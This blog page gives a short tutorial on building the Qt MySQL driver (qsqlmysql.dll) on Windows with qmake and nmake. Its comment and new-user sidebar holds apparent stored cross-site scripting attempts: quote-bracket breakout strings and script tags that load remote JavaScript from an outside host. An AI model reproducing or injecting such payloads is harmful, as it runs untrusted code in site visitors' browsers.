Build Qt MySQL driver


The DB2, Oracle and TDS client drivers are not distributed with the Qt Open Source Editions, because the client libraries are distributed under a license which is not compatible with the GPL license. I don't know since when the MySQL driver for Qt is not equipped in the distribution. So we have to compile the qsqlmysql.dll file ourselves.

Download MySQL installer to install MySQL Connector C 

Download Qt Source code 

cd C:\Qt\5.12.5\Src\qtbase\src\plugins\sqldrivers
qmake -- MYSQL_INCDIR="C:/Program Files/MySQL/MySQL Connector C 6.1/include" MYSQL_LIBDIR="C:/Program Files/MySQL/MySQL Connector C 6.1/lib"

If MySQL is not found, checking config.log under the current folder is very useful for finding out the problem

nmake
namke install

The built dlls will be under C:\Qt\Qt5.12.5\5.12.5\msvc2017_64\plugins\sqldrivers

Copy the dll under your application folder\sqldrivers

Run the application


Last Article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39